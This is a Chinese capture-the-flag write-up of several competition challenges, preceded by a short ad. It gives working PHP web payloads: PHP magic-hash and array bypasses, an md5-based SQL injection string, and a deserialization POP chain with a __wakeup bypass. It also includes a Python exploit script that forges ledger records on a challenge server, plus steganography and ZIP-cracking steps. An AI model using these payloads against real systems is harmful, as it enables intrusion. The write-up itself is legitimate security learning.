可能是世界上第一张木制银行卡

# 现可免费申请,无工本费、快递费、年费,中国可送达。

> 传送门:TreeCard

第一次参加,好难啊啊啊...不过最终还是混到了张强网先锋证书,挺好
签到题就不说了

似乎还行的个人分:

强网先锋

upload

题目给的材料是一份pcapng流量文件,打开后简简单单的两轮会话,十分安逸的题目。

会话0是访问首页,会话1是上传图片。其中会话0有hint如下:

提取出上传的图片,使用steghide进行隐写检测,密码的话弱口令猜一下,最终得出为123456,检测出flag.txt。

使用命令steghide extract -sf steghide.jpg即可得到flag.txt。

flag:flag{te11_me_y0u_like_it}

Funhash

打开所给网页,显示如下代码

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();
?>

默认输出:level 1 failed

level 1可以使用0e漏洞,payload可以为hash1=0e251288019
原理是php中0e251288019可能会被当作科学计数法处理,即0eN,即0,而0e251288019的md4为0e874956163641961271069404332409,判断时因为用的是弱不等,所以会被当作科学计数法,也即0,所以0 == 0成立,level 1通过。
参考资料:Google随便找的payload。

level 2可以使用数组绕过,payload可以为hash2[]=1&hash3[]=2
原理是两个数组本身内容并不相等,所以hash2!==hash3成立;但是md5无法处理数组,所以md5(hash2)===md5(hash3)成立,level 2通过。
参考资料:Google随便找的payload,too。

level 3为SQL查询md5,这个也是个高危操作(其实SQL本身特性就注定各种高危,使用特殊的黑魔法字符串可以实现注入,payload可以为hash4=ffifdyop
原理是ffifdyop的md5是276f722736c95d99e921722cf9ed621c,当作hex处理的话,拿转成文本就是'or'6*]**!r,**b*,其中*为非ascii字符,至于为啥会被当作hex,因为md5函数的参数2为true,官方释义为If the second argument to MD5 is true, it will return ugly raw bits instead of a nice hex string,即true时会返回原始数据而不是字符串;那么SQL查询语句就会拼接成SELECT * FROM flag WHERE password = ''or'6*]**!r,**b*,那么or后面非逻辑运算式,所以恒成立,直接返回flag数据表了。
参考资料:sql注入--敏感函数 MD5()的利用 | virtua1's blog

最终拼接payload?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop即可得到flag。
成功输出:array(3) { ["id"]=> string(1) "1" ["flag"]=> string(24) "flag{y0u_w1ll_l1ke_h4sh}" ["password"]=> string(32) "641ec1386cb6a65f6831a48be12c8ad1" }

flag:flag{y0u_w1ll_l1ke_h4sh}

web辅助

index.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
if (isset($_GET['username']) && isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
    echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
    echo "Please input the username or password!\n";
}
?>

common.php

<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}
function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>

class.php

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;
    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }
    public function __destruct(){
        $this->TP();
    }
}

class midsolo{
    protected $name;
    public function __construct($name){
        $this->name = $name;
    }
    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    public function __invoke(){
        $this->Gank();
    }
    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
    public function KS(){
        system("cat /flag");
    }
    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

play.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
    echo "FPX Champion\n";
}
else{
    echo "The Shy unstoppable\n";
}
?>

这题的文件就多了起来,对我这种萌新来说就很头疼了。Google了一下说是POP链构造+PHP反序列化字符逃逸,然后还有后来自己测试发现的wakeup漏洞利用。
关于PHP反序列化字符逃逸以及POP链构造,可以看一下大佬的两篇博客:安恒六月赛DASCTF June Writeup - 颖奇L'Amore - 专注网络安全与渗透测试安恒月赛2020年DASCTF——四月春季战Writeup - 颖奇L'Amore - 专注网络安全与渗透测试,里面讲的应该算是比较清楚了。(你悟了吗
首先理一下思路,构造出POP链,即套娃链,首先player对象的user私参在前,用来字符逃逸,所以不套娃,pass私参在后且能够输入,用来套娃,admin私参应该是偷题的时候忘删了,没啥用的。
套娃入口找到后,就要倒着找链,先从命中点找,命中函数应当是jungle对象的KS函数,这个肉眼可见,没啥好说的。而KS函数受本体的__toString魔法函数所调用,那么就得想办法激活这个魔法函数,一般__toString最常见的入口是echo,但是可惜这里没有适合的echo,那么Google了一趟回来之后学到了stristr这个函数也可以激活对象的__toString,而适合的stristr函数在midsolo对象的Gank函数里,那么jungle对象就需要作为midsolo对象的name私参。
Gank函数被本体的__invoke魔法函数所调用,那么就得想办法激活__invoke。Google说以下情况可以激活__invoke,因为当尝试以调用函数的方式调用一个对象时,该方法会被自动调用

$val = $this->Obj;
$val();

那么可以找到类似代码在topsolo对象的TP函数中,所以midsolo对象就需要作为topsolo对象的name私参。
TP函数被本体的__destruct魔法函数调用,这个析构应该都知道,只要是个对象那必然代码执行结束之后会被调用,所以topsolo对象就可以当作player对象的pass私参。
那么POP链应当为:player.pass -> topsolo.name -> midsolo.name -> jungle。
所以可以将类体复制到php IDE里,用如下代码生成一份符合POP链的序列化字符串。

$c = new jungle();
$b = new midsolo($c);
$a = new topsolo($b);
$u = new player("test", $a);
echo serialize($u) . "\n";

得到O:6:"player":3:{s:7:"*user";s:4:"test";s:7:"*pass";O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}s:8:"*admin";i:0;},其中*为私参标识,其左右均有不可见的chr(0)。那么可以构造出以下payload进行字符逃逸:?username=test\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:7:"\0*\0pass";O:7:"topsolo":1:{s:7:"\0*\0name";O:7:"midsolo":1:{s:7:"\0*\0name";O:6:"jungle":1:{s:7:"\0*\0name";s:7:"Lee Sin";}}}s:8:"\0*\0admin";i:0;}。由此payload生成的序列化字符串为:O:6:"player":3:{s:7:"零*零user";s:59:"test\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"零*零pass";s:154:";s:7:"\0*\0pass";O:7:"topsolo":1:{s:7:"\0*\0name";O:7:"midsolo":1:{s:7:"\0*\0name";O:6:"jungle":1:{s:7:"\0*\0name";s:7:"Lee Sin";}}}s:8:"\0*\0admin";i:0;}";s:8:"零*零admin";i:0;},而因为存储时会将chr(0)."*".chr(0)替换成'\0*\0'所以存储的序列化字符串为:O:6:"player":3:{s:7:"\0*\0user";s:59:"test\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:154:";s:7:"\0*\0pass";O:7:"topsolo":1:{s:7:"\0*\0name";O:7:"midsolo":1:{s:7:"\0*\0name";O:6:"jungle":1:{s:7:"\0*\0name";s:7:"Lee Sin";}}}s:8:"\0*\0admin";i:0;}";s:8:"\0*\0admin";i:0;};但是在读取还原的时候,会把'\0*\0'替换成chr(0)."*".chr(0),所以还原前一刻的序列化字符串是:O:6:"player":3:{s:7:"零*零user";s:59:"test零*零零*零零*零零*零零*零零*零零*零零*零零*零零*零零*零";s:7:"零*零pass";s:154:";s:7:"零*零pass";O:7:"topsolo":1:{s:7:"零*零name";O:7:"midsolo":1:{s:7:"零*零name";O:6:"jungle":1:{s:7:"零*零name";s:7:"Lee Sin";}}}s:8:"零*零admin";i:0;}";s:8:"零*零admin";i:0;},于是开始字符逃逸,私参user长度59,则其值为test零*零零*零零*零零*零零*零零*零零*零零*零零*零零*零零*零";s:7:"零*零pass";s:154:,然后正好接上我们payload中的";s:7:"零*零pass";O:7:......,成功实现字符串逃逸。

但是本题有两点要注意,其一是midsolo__wakeup魔法函数会把我们的name值给覆盖掉,所以需要利用CVE-2016-7124漏洞进行__wakeup绕过,即成员数目改为大于1的数即可。所以payload更新为:?username=test\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:7:"\0*\0pass";O:7:"topsolo":1:{s:7:"\0*\0name";O:7:"midsolo":2:{s:7:"\0*\0name";O:6:"jungle":1:{s:7:"\0*\0name";s:7:"Lee Sin";}}}s:8:"\0*\0admin";i:0;}
参考资料:php反序列化漏洞绕过魔术方法 __wakeup - Mrsm1th - 博客园
还有一点是check函数会因为检测到序列化字符串含有name而炸裂,所以需要使用hex进行转义,要在序列化中启用hex转义需要将s标识改为S标识。所以payload更新为:?username=test\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;s:7:"\0*\0pass";O:7:"topsolo":1:{s:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{s:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{s:7:"\0*\0\6e\61\6d\65";s:7:"Lee Sin";}}}s:8:"\0*\0admin";i:0;}
参考资料:安恒六月赛DASCTF June Writeup - 颖奇L'Amore - 专注网络安全与渗透测试

最终即可成功命中KS函数,拿到flag。

flag:flag{0f53b7d8-1d94-4310-8725-566ebf21e9f9}

bank

这题我在吃饭时看了一下,感觉有点像区块链记账的雏形,吃完饭一做发现还挺简单的。
首先连接到给定的netcat,入口有个人鸡验证(大雾),可以拿以下python函数算出结果。

import hashlib
def sha256XXX(end, sha256sum):
    for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
        for j in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            for k in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
                if hashlib.sha256((i+ j + k + end).encode()).hexdigest() == sha256sum:
                    return i+ j + k

然后验证通过了就是主界面了,有如下几个选项:

  • transact:生成一个转账ct,类似于账条消息,需要输入收款方和金额(这只是生成了消息,相当于微信转账,拿不拿钱是收款方的事情,所以收款方不会直接增加金额,但自己的钱已经少了)
  • view records:查看最近ct,没啥用(反正我不知道有啥用){{koubi}}
  • provide a record:记账ct,将转给自己账条消息记录下来,相当于确认收款
  • get flag:花1000资产拿到flag
  • hint:提示:ct由付款方のaes、收款方のaes、金额のaes拼接而成。

现在这题有两种解法:

解法一

这个是预期解法。

思路是伪造ct进行收款,因为aes的key未知,虽然似乎有办法破解但是十分麻烦,所以可以先给A转一次10资产的账,拿到自己のaes、Aのaes、10资产のaes,然后重新拼接成Aのaes、自己のaes、10资产のaes,这样子就相当于交换了双方身份,自己变成假账条消息中的收款方了。但是试了一下,相同的ct只能使用一次,所以付款方就需要一直变化,既然转账时并不要求收款方一定存在,那推测收款时也不要求付款方一定存在,所以可以使用如下python函数随机生成收款方。

from random import choice
def rndsender():
    rst = ""
    for i in range(1, 33):
        rst += choice('0123456789abcdef')
    return rst

然后python里连接上cat,编写如下exp脚本即可得到flag。

import hashlib
from v0lt import Netcat
from random import choice

def sha256XXX(end, sha256sum):
    for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
        for j in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            for k in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
                if hashlib.sha256((i+ j + k + end).encode()).hexdigest() == sha256sum:
                    return i+ j + k

def rndsender():
    rst = ""
    for i in range(1, 33):
        rst += choice('0123456789abcdef')
    return rst

nc = Netcat("39.101.134.52", 8005)
in1 = nc.read_until("Give me XXX:")
print(in1)
end = in1[12:29]
print(end)
sha256sum = in1[34:98]
print(sha256sum)
begin = sha256XXX(end, sha256sum)
print(begin)
nc.writeln(begin)
print(nc.read_until("teamtoken:"))
nc.writeln("icq8317d94921194e60a09252cbeeb1d")
print(nc.read_until("give me your name:"))
nc.writeln("wkr")
print(nc.read_until("> "))
nc.writeln("transact")
print(nc.read_until("> "))
nc.writeln("wkk 10")
in2 = nc.read_until("> ")
print(in2)
sender = in2[1:33]
receiver = in2[33:65]
amount = in2[65:97]
print(sender)
print(receiver)
print(amount)

for i in range(101):
    nc.writeln("provide a record")
    print(nc.read_until("> "))
    nc.writeln(rndsender() + sender + amount)
    print(nc.read_until("> "))

nc.writeln("get flag")
print(nc.read())
print(nc.read())
print(nc.read())

解法二

这个是骚操作,可能出题人也没想到(因为只用到了转账就能直接拿flag,不用去看hint也不用收款)。这个思路还是我在写这篇wp的时候想到的。

思路是转账时金额填写一个小于等于-990的数,那么如果没有合法性判断的话,自己的金额就是初始的10 - -990 = 1000,然后就能直接去拿flag。

flag:flag{89266b4181d420521803de0b1b18287a}

Blockchain

IPFS

给出材料如下:

I uploaded two pictures on IPFS, called pic1.jpg whose hash is called hash1 and pic2.jpg whose hash is called hash2, but I forgot the hash values of the two pictures. The flag is in the two pictures, can you find it?

pic1.jpg is divided into 6 blocks for storage on IPFS, hash values are as follows:
QmZkF524d8HWfF8k2yLrZwFz9PtaYgCwy3UqJP5Ahk5aXH
Qme7fkoP2scbqRPaVv6JEiaMjcPZ58NYMnUxKAvb2paey2
QmU59LjvcC1ueMdLVFve8je6vBY48vkEYDQZFiAbpgX9mf
QmXh6p3DGKfvEVwdvtbiH7SPsmLDfL7LXrowAZtQjkjw73
QmXFSNiJ8BdbUKPAsu3oueziyYqeYhi3iyQPXgVSvqTBtN
QmfUbHZQ95XKu9vd5XCerhKPsogRdYHkwx8mVFh5pwfNzE

pic2.jpg is divided into 1 block for storage on IPFS, the sha256sum result of the block content is 659c2a2c3ed5e50f848135eea4d3ead3fa2607e2102ae73fafe8f82378ce1d1e

Good luck! I hope you can understand IPFS clearly! hahaha

那么先去把pic1.jpg的6段给下载下来,可以使用浏览 - IPLD。下载好之后,因为是jpg图像的分段,那么找一下文件头和文件尾,即可知道QmXh6p3DGKfvEVwdvtbiH7SPsmLDfL7LXrowAZtQjkjw73是文件头,QmXFSNiJ8BdbUKPAsu3oueziyYqeYhi3iyQPXgVSvqTBtN是文件尾。然后要么把剩下四段按4*3*2写个脚本进行排列组合,找到最优解;要么试四次,得到第二段,再试三次,得到第三段,再试两次,得到第四段,然后第五段也就知道了。
最终顺序如下:

  1. QmXh6p3DGKfvEVwdvtbiH7SPsmLDfL7LXrowAZtQjkjw73
  2. QmZkF524d8HWfF8k2yLrZwFz9PtaYgCwy3UqJP5Ahk5aXH
  3. QmU59LjvcC1ueMdLVFve8je6vBY48vkEYDQZFiAbpgX9mf
  4. Qme7fkoP2scbqRPaVv6JEiaMjcPZ58NYMnUxKAvb2paey2
  5. QmfUbHZQ95XKu9vd5XCerhKPsogRdYHkwx8mVFh5pwfNzE
  6. QmXFSNiJ8BdbUKPAsu3oueziyYqeYhi3iyQPXgVSvqTBtN

得到pic1.jpg,如下:

而pic2.jpg已知sha256,由IPFS的常见的Qm版本的CID定义可知,其base64解码后的即为1220拼接上sha2-256,所以可以用如下脚本得到pic2.jpg的QmHash:QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3

import base58
print(base58.b58encode_int((int("1220" + "659c2a2c3ed5e50f848135eea4d3ead3fa2607e2102ae73fafe8f82378ce1d1e", 16))))

得到pic2.jpg,如下:

根据题意可知,hash1、hash2即为两张图片QmHash,pic2.jpg的QmHash已经得到了,那么只需要上传一遍pic1.jpg,就能拿到它的QmHash,命令为:ipfs pic1.jpg。但是得到的QmHash拼接后的md5并不是flag。于是猜测可能需要按照题目给的分段方式进行分段上传(没错IPFS本身支持分割文件上传,但得到的QmHash只有一个),命令为ipfs add --chunker=size-26624 pic1.jpg,得到QmHash为QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7,它有6个子QmHash即为题目提供的6个QmHash。于是拼接计算MD5即可得到flag。(命令中定义区块大小26624Bytes是因为拿到的分段文件就是这个大小(最后一个文件不一定这么大),所以要还原上传场景就需要定义这么大的区块)

flag:flag{35fb9b3fe44919974a02c26f34369b8e}

misc

miscstudy

题目描述说flag分为7段。
这题前半部分是队友们做出来的,所以开头咋整出来的我也不知道。
我解出来的是第5、6、7段。

前面4段:

  1. flag{level1_begin_and_level2_is_come
  2. level3_start_it
  3. level4_here_all
  4. level5_is_aaa

首先第4段结束后拿到的压缩包里面有level6.zip文件指向第5段,level7.zip文件指向第6段,以及1个1.png还暂时不知道干啥用。
level6.zip带密码,里面是三个超短txt,如下:

试了一下不是伪密码,所以确实存在密码。于是因为文件长度超短只有几个字节,所以想到了crc32爆破。
2.txt最短,4字节,于是先行爆破,python脚本代码如下:

import zlib
base = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_"
for i in base:
    for j in base:
        for k in base:
            for l in base:
                    hx = hex(zlib.crc32((i + j + k + l).encode()))[2:]
                    print(i + j + k + l, hx)
                    if (hx == "eed7e184"):
                        print("success") # 此处下断暂停,或者整体改为函数,此处return

得出2.txt内容为6_is
然后可以猜测1.txt这个5字节应当是level,验证crc32后猜测成立。
3.txt比较不好爆破,因为格式比较意外。(当然,花些时间跑个5字节ascii全爆破肯定能出了)Google一下3.txt的crc32,可以得到如下结果:

所以3.txt内容为ready
于是第5段为level6_isready

level7.zip带密码,里面有个1.png,比对crc32后可知和第4段结束得到的1.png是同一个文件,于是进行明文攻击,得到褪密后的level7.zip,里面有4.png和5.png,两张图内容肉眼可见的一样且分辨率一样。
两张都是几乎纯色的png,所以按理来说文件大小应该很小,4.png是正常大小(2.39KB),但是5.png并不正常(181KB),所以猜测可能是某种隐写,数据在5.png中。而两张图因为高度相似,所以猜测是规范化的盲水印(不规范的话,分辨率就不一定一样了),尝试提取水印,成功得到如下:

这个level7ishere刚开始不知道是第6段,以为是个hint,后来发现少了一段才知道。

访问39.99.247.28/final_level,得到的是一个百度的html化镜像,其中html代码里有如下hint:

但是没整明白啥意思,于是对比了一下正版的百度html,发现差别不大(至少没添加个Element啥的),队友猜测可能为snow隐写,但是不知道密码是啥。过了一会儿会想起刚才的hint,括号里的no one can find me可能就是密码,于是去Snow web-page encryption/decryption试了一下,得到the_misc_examaaaaaaa_!!!}

于是7段flag就集齐了。(听队友们说前面几段好难

flag:flag{level1_begin_and_level2_is_comelevel3_start_itlevel4_here_alllevel5_is_aaalevel6_isreadylevel7isherethe_misc_examaaaaaaa_!!!}


最后,感谢各位学长带我这个萌新打比赛。


什么都会,但又什么都不会。